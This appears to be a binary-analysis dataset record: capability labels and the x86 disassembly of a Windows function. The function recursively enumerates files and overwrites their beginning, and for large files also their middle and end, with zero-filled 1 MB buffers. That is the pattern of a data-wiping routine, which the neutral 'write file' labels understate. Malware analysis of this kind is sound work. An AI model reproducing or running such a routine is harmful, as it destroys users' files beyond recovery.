Function at 0x4015c0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x47c
mov eax, dword [0x414024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x20a
mov edi, ecx
push 0
mov dword [ebp - 0x478], edi
call esi
mov ebx, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call edi
mov ecx, 0x2a
mov word [ebx + eax*2], cx
lea eax, [ebp - 0x468]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x474], eax
cmp eax, 0xffffffff
je 0x4018a3
push ebx
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
dec eax
lea ecx, [ebx + eax*2]
mov dword [ebp - 0x47c], ecx
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 0x43c]
push eax
push ebx
call edi
test byte [ebp - 0x468], 0x10
je 0x4016a6
push 0x411d8c
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401868
push 0x411d90
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401868
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, ebx
mov dword [ebx + eax*2], 0x5c
call fcn.004015c0
jmp 0x401868
push dword [ebp - 0x478]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x411d98
lea eax, [ebp - 0x210]
push eax
call edi
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401862
lea eax, [ebp - 0x470]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [ebp - 0x46c]
mov eax, dword [ebp - 0x470]
test ecx, ecx
jl 0x40180e
jg 0x40172c
cmp eax, 0x100000
jbe 0x401766
push 4
push 0x3000
push 0x100000
push 0
call esi
push 0
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x214]
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40184e
test ecx, ecx
jl 0x40180e
jg 0x40177b
cmp eax, 0x500000
jbe 0x40180e
push 4
push 0x3000
push 0x100000
push 0
call esi
push 0
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x214]
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
push 2
push dword [ebp - 0x46c]
push dword [ebp - 0x470]
call fcn.0040c060
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x214]
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x470]
push 0
push 0
add eax, 0xfff00000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x214]
push eax
push 0x100000
jmp 0x401838
push 4
push 0x3000
push eax
push 0
call esi
push 0
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x470]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ecx, dword [ebp - 0x47c]
test eax, eax
jne 0x401640
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x474]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401ea5
mov esp, ebp
pop ebp
ret